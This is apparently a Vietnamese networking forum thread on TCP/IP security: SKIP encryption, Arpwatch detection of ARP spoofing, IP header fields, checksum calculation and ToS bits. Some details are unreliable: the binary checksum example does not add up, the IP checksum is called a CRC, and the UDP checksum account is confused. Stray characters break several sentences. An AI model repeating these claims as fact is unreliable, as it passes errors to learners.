Thay vì phải trao đổi khoá phiên trong quá trình truyền tin như chúng ta đã bàn ở phần nói về Kerberos cho một phiên sử dụng dịch vụ telnet chẳng hạn, chúng ta có thể lựa chọn giải pháp mã hoá tất cả các gói tin IP tại tất cả các thời điểm ở tầng IP. Tất nhiên là giải pháp mã hoá này phải thống nhất theo một cách nào đó để phía đích có thể giải mã chúng một cách thành công. Hiện tại có một giải pháp thực hiện mã hoá mức *gói tin* (packet-level) được gọi là Simple Key Management for IP (SKIP). SKIP giả thiết rằng mỗi bên tham gia quá trình truyền tin đều có một khóa công khai (public key) dùng để tạo nhiều khoá giữa 2 phía. Ý tưởng cơ bản của thuật toán này là đóng gói packet-key (khoá để giải mã gói tin này) vào bên trong gói tin, và mã hoá nó với một khoá đã được thoả thuận giữa 2 bên (shared key). SKIP cũng cung cấp một phương thức trao đổi shared key giữa 2 phía. Vì phương pháp này không dựa trên từng phiên làm việc nên nó có thể áp dụng cho tất cả các loại truyền thông dựa trên TCP/IP.
Tham khảo thêm về SKIP tại:
http://www.tik.ee.ethz.ch/~skip/SKIP.html
http://www.garykessler.net/library/crypto.html
Detect ARP Spoofing
Để phát hiện kiểu tấn công này, ta có thể sử dụng chương trình Arpwatch, download tại:
http://www.mirrors.wiretapped.net/security...oring/arpwatch/
Chương trình này theo dõi thông tin vào/ra dưới chế độ promiscuous và ghi lại các cặp địa chỉ MAC/IP trong một khoảng thời gian nào đó. Khi thấy có hành vi bất thường, chẳng hạn như có sự thay đổi một trong các cặp MAC/IP mà nó đang theo dõi, chương trình sẽ gửi một cảnh báo tới syslog. Chương trình hoạt động hiệu quả đối với các mạng dùng HUB, vì một trạm hoàn toàn có thể theo dõi hoạt động của toàn mạng. Tuy nhiên, do cơ chế của ARP chỉ reply lại một gói tin duy nhất cho trạm cần gửi, nên chương trình này sẽ không hoạt động trong các mạng dùng switch.
Kết luận
TCP/IP, cho tới thời điểm hiện nay, đã cho thấy nó thiếu sự bảo mật nghiêm trọng. Một số kiểu tấn công như SYN flooding, IP Spoofing, Connection Hijacking, … đã chỉ ra rằng việc thiếu tính bảo mật này đã dẫn đến việc ra đời và phát triển của hàng loạt các công cụ và kỹ thuật khai thác nhằm vào các điểm yếu của TCP/IP. Việc *khắc phục* các lỗ hổng này là hoàn toàn có thể thực hiện được (với một số giải pháp đã trình bày như TCP Wrapper, Kerberos, SKIP…) nhưng nhìn chung chúng chưa được phổ biến rộng rãi, có thể máy tính của bạn đã cài đặt chúng nhưng chắc gì trạm mà bạn muốn trao đổi thông tin đã cài đặt những giải pháp trên. Như vậy, hầu như việc truyền thông trên Internet hiện nay vẫn chưa đủ mức an toàn cần thiết. Phải chăng đã đến lúc cần phải có một bộ giao thức mới, IPv6 chẳng hạn, để *fix* những thứ mà bản thân IPv4 không thể giải quyết được?!
|
|
|
Em xin phép bổ sung chút xíu về ftp : Khi truyền data thì mt = 1, còn khi control - truyền commands thì md = 1
Hì hì, bồ bổ sung thêm cũng đúng nhưng tớ nói là: protocol như ftp cho data chẳng hạn có nghĩa là tớ nhấn mạnh chỉ cho ftp data để xoáy vào TOS mt=1
Tôi bổ sung thêm đôi điều để các bạn tiện đừong thảo luận .
Chúng ta đang bàn về TCP/IP . Thưc ra IP/TCP là môt bộ giao thức ( suite ) không phải là môt giao thức , vì nó gồm giao thức IP ( Internet protocol ) và giao thức TCP ( Transmission Control Protocol )
Chính vì vây nếu ta nói về môt Packet của IP/TCP thì có thể không chính xác . Bởi vì có IP packet và có TCP packet và chúng không hoàn toàn giống nhau về cấu trúc
1-IP packets( datagrams )
Như chúng ta đã biết , giao thức IP là giao thức quan trọng nhất hay có thể nói là giao thức " thống trị " trong lớp mạng ( network layer ). Network layer ( lớp mạng ) ở đây là đựoc hiểu là Network layer trong 4 lớp ( Four Layers ) của bộ giao thức IP/TCP , bao gồm
-Link layer ( Lớp Liên kết )
-Network Layer ( Lớp mạng hay Lớp Internet )
- Transport Layer ( Lớp chuyển vân )
- Application Layer ( Lớp ứng dụng )
( Chúng ta chú ý không nhầm lẫn sơ đồ 4 lớp của IP/TCP nói trên với sơ đồ OSI )
Network Layer ( trong IP/TCP ) có nhiệm vụ chuyển các gói tin dữ liệu trong không gian mạng , từ node ( nút mạng ) này đến node khác . IP đóng vai trò quan trọng hay thống trị như nói ở trên vi nó qui định các thức đóng gói các dữ liệu đươc truyền trên mạng ( hay còn gọi là network traffic )vào trong các gói tin IP ( IP datagrams ) và qui định các nguyên tắc chuyển các datagrams này trong không gian mạng - Trong giao thức IP ngừoi ta ít dùng từ packet mà thường dùng datagram , dù ý nghĩa của hai từ là giống nhau - như là ở miền Bắc gọi là "tất ", còn trong Nam gọi là "vớ"
Môt IP header và body ( tức là một IPdatagram ) gồm có các phần ( hay còn gọi là trừong -Field ) sau :
- 4-bit version
(chỉ rõ version nào đươc dùng , hiên đang thừong dùng nhất version 4 )
-4-bit Header Length
( chỉ rõ chiều dài của header )
-8- bit Service
( chỉ rõ mức service - level of service - mà các datagram áp dụng )
-16 -bit total length ( in bytes )
( chỉ rõ toàn bộ chiều dài của datagram - gói tin - tính luôn cả header )
- 16-bit Identification
( Xác đinh tính duy nhất cho mỗi gói tin đựoc chuyển đi từ môt host - không lầm lẫn với các gói tin khác - ,
thí dụ Identification có giá trị 0x5850 )
--Flags
( tạm dich là "danh hiêu "của datagram. Thực tế chỉ có 3 loại Flag . Loại đầu ít dùng hay không dùng . Hai loại sau thừong dùng : DF và MF . Flags đóng vai trò quản lý cách thức phân đoạn ( fragment ) môt datagram
trong đó DF có nghĩa là " Không phân đoạn" ( Don't fragment )còn MF - phân đoạn hay More fragment
- 13-bit Fragment Offset
( chỉ rõ cho đến khi datagram này đươc gửi đi thì đã có bao nhiêu đơn vị -unit- đã đựoc gửi đi [rồi ] tính từ datagram đầu tiên -
- 8-bit TTL ( time to live ) .
( chỉ rõ datagram có "đủ sức ' vựot qua được bao nhiêu router trứoc khi nó tự hủy trên mạng - cũng có nghĩa là thời gian mà nó đựoc tồn tại trên mạng là bao lâu - thừong TTL có giá trị max là 255 )
-8-bit Protocol
( ở đây chính xác là Encapsulated Protocol - Encapsulation là cách thức môt ứng dụng ( Application ) khi đựoc truyền trên mạng áp dụng IP/TCP thì nó sẽ đựoc chuyển qua từng lớp ( layer ) của môt chồng lớp ( stack ) của giao thức như thế nào . Thừong áp dụng TCP Encapsulation Xin chú ý môt datagram đi qua mỗi lớp lại đựoc bổ sung , đươc gắn thêm môt số thông tin vào dữ liệu của nó , bằng cách thêm môt header hay có khi là môt footer , chứ không phải " đi như thế nào về như thế ấy " đâu nhé . Sẽ có môt bài viết cụ thể thêm về Encapsulation
-16-bit Header checksum
Như chúng ta đã bàn nhiều ở trên . Header checksum sử dụng để kiểm tra xem header có bị hư hỏng ( corrupted , thiếu sót gì không )
-32-bit Destination Address
Đia chỉ IP nơi gói tin datagram đưoc chuyển đến ( gồm 4 octet - mỗi octet có 8 bit )
-32-bit Source Address
Đia chỉ IP nơi gói tin datagram đưoc chuyển đi ( gồm 4 octet - mỗi octet có 8 bit )
-Option
Khi cần sẽ bổ sung thêm thông tin phụ trợ vào phần , trường ( field ) này
thí dụ record route , timestamp,loose source routing .... . Nhưng thừong thì phần ( trường ) này ít dùng, vì nhiều routers không chấp nhân option này ( sợ bị chèn malicious script trong datagram )
-Data
Các thông tin dữ liêu của datagram . Đây mới là nôi dung chính của datagram
( Còn tiếp , bận qúa chưa viết thêm đưoc dù còn nhiều điều muốn viết lắm , xin cảm phiền )
Note : Đã sửa lại phần "Header checksum" cho thật rõ và chính xác :Như chúng ta đã bàn nhiều ở trên . Header checksum sử dụng để kiểm tra xem header có bị hư hỏng ( corrupted , thiếu sót gì không ) . Chỉ có trưòng Checksum trong TCP segment ( packet ) mới sử dụng để kiểm tra cả header và Data
Chào cả nhà,
Mình xin bổ sung thêm về bài của bác PXMMRF.
QUOTE
-Link layer ( Lớp Liên kết )
-Network Layer ( Lớp mạng hay Lớp Internet )
- Transport Layer ( Lớp chuyển vân )
- Application Layer ( Lớp ứng dụng )
Link Layer trong TCP/IP family còn gọi là Network Access Layer.
QUOTE
1-IP packets( datagrams )
Như chúng ta đã biết , giao thức IP là giao thức quan trọng nhất hay có thể nói là giao thức " thống trị " trong lớp mạng ( network layer ). Network layer ( lớp mạng ) ở đây là đựoc hiểu là Network layer trong 4 lớp ( Four Layers ) của bộ giao thức IP/TCP , bao gồm
Network Layer ( trong IP/TCP ) có nhiệm vụ chuyển các gói tin dữ liệu trong không gian mạng , từ node ( nút mạng ) này đến node khác . IP đóng vai trò quan trọng hay thống trị như nói ở trên vi nó qui định các thức đóng gói các dữ liệu đươc truyền trên mạng ( hay còn gọi là network traffic )vào trong các gói tin IP ( IP datagrams ) và qui định các nguyên tắc chuyển các datagrams này trong không gian mạng - Trong giao thức IP ngừoi ta ít dùng từ packet mà thường dùng datagram , dù ý nghĩa của hai từ là giống nhau - như là ở miền Bắc gọi là "tất ", còn trong Nam gọi là "vớ"
IP là một giao thức kiểu không liên kết (connectionless) có nghĩa là không cần có giai đoạn thiết lập liên kết trước khi truyền dữ liệu. Đơn vị dữ liệu dùng trong IP được gọi là datagram.
Một datagram là một gói dữ liệu độc lập, khác với các gói dữ liệu khác, đó là bản thân datagram đã đầy đủ thông tin bao gồm thông tin chọn đường từ nguồn tới đích, bởi vì không có một kênh thiết lập riêng do đó IP được gọi là thủ tục không liên kết.
QUOTE
--Flags
( tạm dich là "danh hiêu "của datagram. Thực tế chỉ có 3 loại Flag . Loại đầu ít dùng hay không dùng . Hai loại sau thừong dùng : DF và MF . Flags đóng vai trò quản lý cách thức phân đoạn ( fragment ) môt datagram
trong đó DF có nghĩa là " Không phân đoạn" ( Don't fragment )còn MF - phân đoạn hay More fragment
- 13-bit Fragment Offset
( chỉ rõ cho đến khi datagram này đươc gửi đi thì đã có bao nhiêu đơn vị -unit- đã đựoc gửi đi [rồi ] tính từ datagram đầu tiên -
+ Flags (3 bit). Trong đó bit 0, chưa được sử dụng, luôn lấy giá trị 0.
+ Fragment Offset (13 bits): chỉ vị trí của đoạn (fragment) ở trong datagram, tính theo đơn vị 64 bits, có nghĩa là mỗi đoạn (trừ đoạn cuối) phải chứa một vùng dữ liệu có độ dài là bội số của 64 bits.
Cụ thể như sau:
Mục đích của IP là cố gắng để đưa được gói dữ liệu tới hệ thống đích càng nhanh càng tốt. Các thiết bị mạng, ví dụ router, xử lý gói IP và xác định đường đi để đến được đích. Nếu gói dữ liệu mà một router nhận được quá lớn để có thể kiểm soát, khi đó nó sẽ được chia thành các gói nhỏ hơn, gọi là đoạn (fragment). Nhiệm vụ kết nối các đoạn này lại với nhau là nhiệm vụ của điểm đích. Cờ phân đoạn (Flag và fragment offset) trong IP header được sử dụng để phân đoạn và ghép nối.
Ngay khi đến, điểm đích nhận được đoạn đầu tiên, nó khởi động một bộ đếm gọi là bộ đếm ghép nối. Điểm đích phải nhận toàn bộ các đoạn từ gói IP ban đầu trước khi vượt ngưỡng thời gian cho phép (timeout). Nếu đã vượt ngưỡng thời gian mà điểm đích không nhận đủ tất cả các đoạn, một bản tin ICMP được khởi tạo và gửi cho điểm nguồn.
Hai trường này có vai trò rất quan trọng, đặc biệt trong chức năng kiểm soát nội dung (content-filter) của các firewall. Ta hoàn toàn có thể làm được chức năng này bằng cách dựa vào 2 trường trên để gom tất cả các mảnh lại và áp các luật lọc lên phần payload của nó.
QUOTE
-16-bit Header checksum
Như chúng ta đã bàn nhiều ở trên . Header checksum sử dụng để kiểm tra xem datagram có bị hư hỏng ( corrupted 0 , thiếu sót gì không )
chứa mã kiểm soát lỗi 16 bits theo phương pháp CRC, chỉ cho vùng header chứ ko phải cho toàn bộ datagram vì datagram = IP header + data.
QUOTE
-Data
Các thông tin dữ liêu của datagram . Đây mới là nôi dung chính của datagram
là vùng dữ liệu, có độ dài là bội số của 8 bits, và tối đa là 65535 bytes.
UOTE
Link Layer trong TCP/IP family còn gọi là Network Access Layer.
Đúng như vậy Link Layer còn đựoc gọi là Network Access Layer. . Link layer thừong bao gồm các driver của cơ cấu hệ điều hành ( operating system device driver ) và card giao tiếp mạng . Vì vậy Link Layer có nhiệm vụ quản lý các phần cứng của hệ thống, mà các phần cứng này giao tiếp vật lý với mạng Internet .
Tuy nhiên cũng như các lớp phía trên nó ( Internet layer hay Network Layer , Transport Layer ..) , các gói tin tại Link layer cũng có 2 phần là header và body . Thí dụ trong trừong hơp hệ thống có Ethernet card , thì
ngừoi ta thừong gọi Link layer là Ethernet Layer và môt gói tin tồn tại trong Ethernet layer sẽ có 2 phần là :
Ethernet header và Ethernet body .
Ethernet Header có ( mang )môt số thông tin khá quan trọng như :
- Xác đinh gói tin (từ trên mạng gửi đến hệ thống nhân ) là loại gì : Nó ( chúng ) là IP packet hay là non-IP packet ( đựoc tạo lập bởi các giao thức không phải là giao thức IP , thí dụ NetBEUI , AppleTalk , Novell. Decnet hay IPX .. vân vân )
-Địa chỉ Ethernet ( Ethernet address ) của máy nguồn đầu tiên ( origin source machine ) hay đia chỉ của
Router cuối cùng trên đừong đi của gói tin từ máy nguồn đến đich .
- Đia chỉ Ethernet đến ( đich ) của gói tin
Địa chỉ Ethernet ( Ethernet address ) thừong đựoc biết như là MAC ( Media access control ) address
Tuy nhiên khó hay không thể áp dụng việc loc gói tin ( Packet filtering)
tại Ethernet layer này , mặc dù Packet Filtering Firewall về cơ bản dựa vào việc kiểm soát và xác định các header của gói tin tại từng Layer .
Sơ qua như vậy để ta thấy rõ thêm về Link Layer
QUOTE
Flags (3 bit). Trong đó bit 0, chưa được sử dụng, luôn lấy giá trị 0.
+ Fragment Offset (13 bits): chỉ vị trí của đoạn (fragment) ở trong datagram, tính theo đơn vị 64 bits, có
nghĩa là mỗi đoạn (trừ đoạn cuối) phải chứa một vùng dữ liệu có độ dài là bội số của 64 bits.
Cụ thể như sau:
Mục đích của IP là cố gắng để đưa được gói dữ liệu tới hệ thống đích càng nhanh càng tốt. Các thiết bị mạng, ví dụ router, xử lý gói IP và xác định đường đi để đến được đích. Nếu gói dữ liệu mà một router nhận được quá lớn để có thể kiểm soát, khi đó nó sẽ được chia thành các gói nhỏ hơn, gọi là đoạn (fragment). Nhiệm vụ kết nối các đoạn này lại với nhau là nhiệm vụ của điểm đích. Cờ phân đoạn (Flag và fragment offset) trong IP header được sử dụng để phân đoạn và ghép nối.
Ngay khi đến, điểm đích nhận được đoạn đầu tiên, nó khởi động một bộ đếm gọi là bộ đếm ghép nối. Điểm đích phải nhận toàn bộ các đoạn từ gói IP ban đầu trước khi vượt ngưỡng thời gian cho phép (timeout).
Nếu đã vượt ngưỡng thời gian mà điểm đích không nhận đủ tất cả các đoạn, một bản tin ICMP được khởi tạo và gửi cho điểm nguồn.
Hai trường này có vai trò rất quan trọng, đặc biệt trong chức năng kiểm soát nội dung (content-filter) của các firewall. Ta hoàn toàn có thể làm được chức năng này bằng cách dựa vào 2 trường trên để gom tất cả các mảnh lại và áp các luật lọc lên phần payload của nó.
|
|
|
:lol may quá em vẫn lưu 1 topic về tcp/ip nhưng dài quá nên post toàn báo lỗi.Chia nhỏ ra post vậy các bác chịu khó xem rồi ta bàn luận tiếp )
Chào các bạn, ở box này bác conmale đang có 1 topic rất hay: Ký sự các vụ DOS HVA. Trong quá trình phân tích, bác có đưa ra khá nhiều khái niệm mới mẻ về TCP/IP, protocol stack… Việc nghiên cứu kỹ TCP/IP là yêu cầu bắt buộc đối với những người muốn đi sâu vào lĩnh vực networking. Các vị tiền bối đi trước đã bảo với tớ rằng: “Tất cả những khó khăn em gặp đều có thể giải quyết được nếu như em nắm vững TCP/IP và hiểu rõ bản chất của nó”. Các bạn có thể kiểm chứng câu nói này qua các bài viết của bác conmale.
Topic này không phải là để dạy dỗ, hay là tutorial gì. Các vấn đề về TCP/IP có lẽ các bạn nên tự tìm hiểu, nghiên cứu. Chủ đề này tớ sẽ post các câu hỏi, các vấn đề còn vướng mắc và khó hiểu trong quá trình tớ tìm hiểu TCP/IP. Và hi vọng là các bạn sẽ tham gia nhiệt tình.
Hôm nay tớ xin khai trương bằng mục Checksum, bao gồm: IP Checksum và Checksum của các protocol khác(TCP, UDP, ICMP…). Dưới đây tớ sẽ trình bày cách hiểu của tớ về 2 loại checksum này, nếu như tớ hiểu sai thì ai đó correct giùm cái nhá.
Như bạn đã biết, ở mỗi layer trong TCP/IP model người ta đều xây dựng một cơ chế kiểm sóat lỗi, mục đích là để kiểm tra xem packet có bị thay đổi trong quá trình truyền tin hay không?(tớ xin bỏ qua Ethernet checksum nhá :p).
Bạn xài tcpdump hay Ethereal gì đó, capture 1 UDP packet chẳng hạn. Rùi, nhảy zô IP Header, sẽ dòm thấy 1 field là: Checksum. Field này có kích thước là: 16bits.
Cách tính IP checksum:
Đầu tiên là ở phía sender. Bạn xem IP Header như là một chuỗi các bit 0, 1. Rùi, bây giờ chia cái chuỗi này ra theo từng “đọan”, mỗi đọan dài 16 bits.
Ví dụ: tớ có 1 chuỗi 0,1 thế này: 0110011001100110 0101010101010101 0000111100001111
Thực hiện phép cộng(nhị phân) ba từ này lại với nhau, được kết quả là: A = 100101011001010
Okie, bây giờ lấy phần bù của chuỗi A(cách lấy phần bù, chuyển bit 0 thành bit 1, bit 1 thành bit 0) ta được chuỗi B như sau: 0011010100110101. gửi nóàOkie, đem cái chuỗi này bỏ vào field Checksum của IP datagram đi.
Ở phía receiver:
Thằng receiver sau khi nhận được datagram này sẽ tính lại checksum theo cách y như trên(khi tính tổng sẽ có 1 số hạng là Checksum do sender tính). Nếu như được kết quả là 16 bits 1 thì Header của IP datagram này không bị thay đổi gì so với khi vứtà gói tin bị lỗi àgửi đi. Còn nếu như có 1 bit nào đấy bằng 0 luôn, không báo gì về cho thằng sender biết cả .
Như vậy, bạn có thể thấy là mục đích của IP Checksum là kiểm tra xem Header của IP datagram có bị lỗi trong quá trình truyền hay không ?(khi tính toán ta chỉ quan tâm đến Header, không ngó ngàng gì tới phần data cả )
Chú ý:
có thể sẽ có IP Header nếu có thêm các thông tin trong phần Option trường hợp độ dài của IP Header sẽ không chia hết cho 16(ta cần chia thành các chuỗi 16 bits mà). Trong trường hợp này, thằng IP layer sẽ tự thêm vào các pad byte(tất cả các bit đều set bằng 0) để làm sao kích thước của IP Header đủ chia hết cho 16.
Đối với Checksum của các protocol khác như TCP, UDP, ICMP thì có khác. Sự khác biệt ở đây là: Khi Reiceiveràtính checksum sẽ bao gồm luôn cả phần data trong gói tin đó có thể phát hiện được lỗi trong phần data(cái này là hơn thằng IP Checksum đây)
Lấy ví dụ UDP Checksum:
UDP Checksum bao gồm: pseudo-header, UDP Header , data và pad-byte(nếu cần thiết)
Pseudo-header là gì?
Nó gồm một số field lấy từ IP header lên: bao gồm 32-bit source IP address, 32-bit destination address, 8 unused-bit(8 bit 0), 8-bit protocol, 16-bit UDP length.
Mục đích của pseudo-header để làm gì?
Phần này em mong các bác chỉ giáo, em xin trình bày cách hiểu của em. 2 cái trường IP là để check lại xem gói tin này có đến đúng đích hay chưa? Trường Protocol là để kiểm tra lại xem thằng IP layer nó phân phát gói tin lên đúng protocol hay chưa? (Cái này ông Richard bảo là double-check)
Cách tính UDP Checksum thì cũng tương tự như trên. Nếu như Receiver tính ra checksum mà có 1 bit 0 thì gói tin đã bị lỗi trên thằngàđường truyền. Nếu như Checksum nhận được tòan là bit 0 cả sender đã không tính Checksum trước khi gửi đi.
Chú ý:
- UDP Checksum là không bắt buộc nhưng đừng dại gì mà disable nó
- TCP Checksum là bắt buộc phải có
Hix, dài quá, nhưng đây là những gì em hiểu về Checksum. Em àxin các bác bổ sung ý kiến và liên hệ các trường hợp thực tế(nếu có) cái này thì em còn kém lắm. À còn nữa, em muốn hỏi trong trường hợp UDP Checksum. Packet sang đến IP layer của thằng Receiver rùi, thế khi thằng Receiver tính lại checksum vẫn phải thêm thằng Pseudo-header vào nữa à ?
Khi gói tin được chuyển lên layer phía trên IP layer và được demultiplexed thì ở tầng này phải lo chuyện gởi lại gói tin bị lỗi checksum (restransmision), tùy theo ứng dụng của các giao thức.
Cả TCP và UDP đều dùng pseudo-header (đầu giả ) và dùng chung một thuật toán để tính checksum.
QUOTE
Hix, dài quá, nhưng đây là những gì em hiểu về Checksum. Em xin các bác bổ sung ý kiến và liên hệ các trường hợp thực tế(nếu có) à cái này thì em còn kém lắm. À còn nữa, em muốn hỏi trong trường hợp UDP Checksum. Packet sang đến IP layer của thằng Receiver rùi, thế khi thằng Receiver tính lại checksum vẫn phải thêm thằng Pseudo-header vào nữa à ?
Không, UDP checksum là "end-to-end" checksum. UDP check được thằng sender tính, nhưng lại được thằng receiver xác nhận. Cho nên không có bước thằng "receiver tính lại checksum". Có 3 chuyện xảy ra:
- nếu checksum được gởi đi là 0 ==> thằng gởi đã không tính checksum, không có chuyện gì đáng nói.
- nếu checksum được gởi đi là 1 hết ==> thằng gởi đã tính checksum, checksum ok, không có chuyện gì làm thêm
- nếu checksum được gởi đi không phải là 0 (thằng gởi đã tính checksum) nhưng có giá trị 0 trong 16 bits này ==> checksum error, thằng nhận chỉ cần biết thế này là đủ và nó lặng lẽ ném gói tin ấy vào thùng rác.
Checksum là phương tiện để đo lường tính trung thực của gói tin và cái gì cũng có cái giá của nó cả, càng xác định tính trung thực thì càng tạo ra "overhead" --> càng chậm. Sở dĩ TCP bắt buộc phải có checksum vì nó muốn bảo đảm gói tin gởi nhận hoàn toàn trung thực. Nếu có sự cố, nó gởi lại lần nữa, và lần nữa nếu cần, cho đến khi đầu nhận nhận được gói tin trung thực. Bởi vậy, TCP "chắc ăn" hơn nhưng chậm hơn UDP rất nhiều ở điểm này. Trong môi trường lý tưởng như một nội mạng có thiết bị hoàn chỉnh, có topology vững vàng, kết cấu hợp lý thì vấn đề checksum có lẽ ít cần thiết. Tuy nhiên networking ngày nay không còn biên giới hạn hẹp nữa nên cái "môi trường lý tưởng" này càng ngày càng trở nên không thể được. Đây là lý do tại sao IP header của IPv6 không còn checksum field nữa.
QUOTE
Hum nì đọc wa cái Evasion attack, hè hè, bít thêm được 1 cái nữa. Thằng NIDS không cóa cơ chế tính checksum -> gặp evasion attack gần như là bó tay, chặn không hết nổi . Kiểu này lại phải xài đến HIDS xem ra mới ngăn chặn được phần nào bọn Evasion attack nì nhỉ?
snort lo được chuyện evasion. Tuy nhiên phải thiết kế signature cho "chiến", không thì rất dễ bị false positive.
Ngoài ra trên application layers thì có nhiều tools khác có thể thể giúp hạn chế evasion. Ví dụ, mod_security cho apache thực hiện chuyện này khá ngon và độc hơn nữa là nó có thể dùng snort signatures (đã được chuyển hóa) để trị "evasive".
QUOTE
Hum nì cóa câu hỏi tiếp ạ. Vẫn là các field trong IP Header
greencool.gif (có chỗ nào hỏi hết ) greenbiggrin.gif .
Câu hỏi của em xoay quanh trường Type-of-service(TOS). Trong IP Header TOS có độ dài là 8 bits
- 3 bit đầu tiên là 3 bit ưu tiên(precedence). Em còn nhiều chỗ thắc mắc ở 3 bits này đây.
Các câu hỏi:
+ Giá trị của từng bit thế nào ? Ý nghĩa là gì ?
- 1 unused bit: cái này không xài, để dành tương lai cần thì xài( greenbiggrin.gif )
- 4 bits TOS
+ Minimize delay(ưu tiên độ trễ)
+ Maximize througput (ưu tiên thông lượng)
+ Maximize reliability(ưu tiên độ tin cậy)
+ Minimize monetary cost --> bit này thì em chịu, không hiểu nó để làm gì, trong cái table của Richard có đưa ra thằng NNTP nó set bit này bằng 1, nhưng em vẫn chưa hiểu được ý nghĩa của nó ???
Tự hỏi rồi tự giải thích hết rồi còn trả lời gì nữa?
"Minimize delay" --> giảm thiểu độ chậm trễ.
"Minimize monetary cost" --> "giảm thiểu phí tổn". Có những dịch vụ không quan trọng về tính khẩn cấp, có chậm một tí cũng chẳng sao, có chiếm ít băng thông của không ảnh hưởng gì ví dụ như NNTP. Protocol NNTP này là Usenet News và tin tức có vào news client chậm một tí cũng không sao. Nói chung những dịch vụ được xếp loại "thứ yếu" thì có thể dùng TOS là "mmc".
Lý do tại sao protocol như telnet lại được khuyến khích dùng "md"? tại vì cần bảo đảm những diễn tiến xảy ra trên remote machine được cấp báo ngay trên local machine để tạo tính "real time interaction".
Lý do tại sao protocol như ftp cho data chẳng hạn lại được khuyến khích dùng "mt"? tại vì cần phải đẩy dữ liệu đi càng nhanh càng tốt để kết thúc giai đoạn tải dữ liệu trong thời gian ngắn nhất.
Nói chung TOS dùng theo nhu cầu nhất định nào đó.
QUOTE
Ở bên trên là ý nghĩa(+ thắc mắc greenbiggrin.gif ) của từng bit . Bây giờ em gom lại về TOS field luôn.
Ý nghĩa của TOS field là gì?
Theo em được biết, hùi xưa mạng Internet nó hơi yếu greenbiggrin.gif. Router không thể xử lý 1 lúc quá nhiều packet --> phải dòm vào cái TOS field để xác định độ ưu tiên, xử lý thằng nào trước thằng nào sau ??? (Không biết có gì sai không ạ ?)
Đúng nhưng thiếu một tí. TOS được thiết kế nhưng thực tế ứng dụng không hoàn toàn đi theo đường lối chung. Có quá nhiều OS và quá nhiều ứng dụng không tuân thủ theo RFC (M$ là một trong những điển hình của việc không tuân thủ RFC). Hơn nữa, packets cần phải đi xuyên qua routers chớ không chỉ quanh quẩn trong một subnet và nhiều router không ứng dụng TOS thì cũng bó tay. Lý do tại sao router không muốn ứng dụng TOS? bởi vì nó tạo nên sự phức tạp đáng kể cho việc tạo nhiều routing tables thích ứng. Thêm một lý do khác là tùy routing protocol nào được dùng nữa; trong một mạng mình có thể hoàn toàn quản lý, mình có thể chọn lựa loại routing protocol một cách đồng bộ thì chuyện tạo những routing tables đáp ứng tuy mất thời gian nhưng vẫn có thể làm được. Nếu packets đi xuyên qua nhiều network khác nhau và mỗi router có một policy khác nhau, dùng loại routing protocol khác nhau thì... càng bó tay.
Router, hay nói chính xác hơn là routing protocol có nhiều loại, nhiều đặc tính cũng như hạn chế khác nhau. Không phải loại routing protocol nào cũng "thèm" để ý đến TOS và cũng không phải routing protocol nào cũng "không thể xử lý một lúc quá nhiều packets". Trên thực tế, các ứng dụng cho routing rất phức tạp (và càng ngày càng phức tạp hơn) trong việc xử lý (chọn những factors để quyết định cho routing). Thật ra các routing protocol "hiện đại" ngày nay càng ngày càng "thông minh" trong việc xử lý routing và đưa vào nhiều yếu tố cho việc quyết định routing chớ không chỉ đơn giản "dòm" cái TOS và... "đẩy" packet đi. Nếu bồ thích, nên "ngâm" thêm các routing protocols thì sẽ thấy.
QUOTE
Tại sao ngày nay người ta lại không dùng TOS field này nữa ? Hình như là chỉ có một số ứng dụng đặc biệt vẫn xài cái này(em chỉ biết qua loa đến thế chứ chưa biết là thằng nào xài greenbiggrin.gif) Em vác Ethereal capture thử cũng không "chộp" được IP packet nào có TOS field này cả ??? Nó thay bằng cái mới rồi(cái mới này thì em chưa tìm hiểu thêm)
Tại sao ngày nay người ta lại không dùng TOS field này nữa? Có chớ, TOS vẫn được dùng trong các thủ thuật traffic shaping. Tuy nhiên, chúng chỉ có giá trị trong giới hạn mình có thể quản lý được. Trong phạm vi cho phép, bồ vẫn có thể dùng TOS để tạo các chế độ routing theo nhu cầu vào theo ưu tiên mình chọn. Ví dụ, bồ có 2 cổng đi ra Internet, một cổng băng thông lớn, một cổng băng thông nhỏ. Bồ có thể dùng TOS để xây dựng routing tables để ép các loại trafìc không cần nhanh đi xuyên qua đường băng thông nhỏ như SMTP, NTP chẳng hạn và các protocol khác như HTTP, FTP đi qua đường băng thông lớn. Hơn thế nữa, bồ có thể "ép" traffic đi từ mỗi host có giới hạn nhất định nào đó để tránh tình trạng nghẽn tắt.
Bồ dùng Ethereal để capture thử traffic trong LAN hay traffic từ Internet? Nếu traffic đi từ Internet thì hầu như bồ chỉ thấy có giá trị TOS là 0x0 mà thôi vì hầu hết các routers không ứng dụng TOS vì quá mất thời gian. Nếu bồ sniff trong LAN và các traffic này không được ấn định cụ thể giá trị TOS thì lúc nào bồ cũng chỉ có thể thấy TOS là 0.
Thay bằng cái mới?. Chừng nào IPv4 còn được dùng thì tính chất của nền tảng giao thức của nó vẫn là như vậy. Ngày nay băng thông càng ngày càng cải thiện nên chuyện TOS không còn được đặt nặng nữa. Trong giới nghiên cứu mạng có hai nhánh chính:
- hỗ trợ cho quan điểm áp đặt TOS ở protocol level
- hỗ trợ cho quan điểm xem nhẹ TOS mà chỉ chú trọng khối lượng băng thông để phục vụ
Đám thứ nhất cho rằng protocol không nên bị phụ thuộc vào chất lượng băng thông và các nhà sản xuất phải tuân thủ theo quy định, đám này là đám idealist. Đám thứ nhì thì cho rằng việc phát triển băng thông sẽ giải quyết vấn đề chất lượng tiêu dùng nhanh chóng và hiệu quả hơn là đi ngược lại nền tảng TOS của protocol, đám này là đám realist. Cả hai đám đều có cái lý của họ vì họ xét vấn đề từ hai hướng khác nhau.
QUOTE
Không biết là có hỏi nhiều quá không ? greenbiggrin.gif
Hì hì, lấy cái "cân" cân thử hỏi thế là nhiều hay ít
QUOTE
- 3 bit đầu tiên là 3 bit ưu tiên(precedence). Em còn nhiều chỗ thắc mắc ở 3 bits này đây.
Theo rfc 791 thì 3 bits đầu của TOS (từ 0 đến 2) có giá trị như sau:
111 - Network Control --> ưu tiên 7
110 - Internetwork Control --> ưu tiên 6
101 - CRITIC/ECP --> ưu tiên 5
100 - Flash Override --> ưu tiên 4
011 - Flash --> ưu tiên 3
010 - Immediate --> ưu tiên 2
001 - Priority --> ưu tiên 1
000 - Routine --> ưu tiên 0
Những directive trên có tính chất như sau (dựa theo tài liệu giải thích của DOD - US Department of Defense):
111 - network control dự tưởng dùng cho môi trường một nội mạng riêng. Ứng dụng và điều tác này tùy vào chế độ từng mạng riêng này.
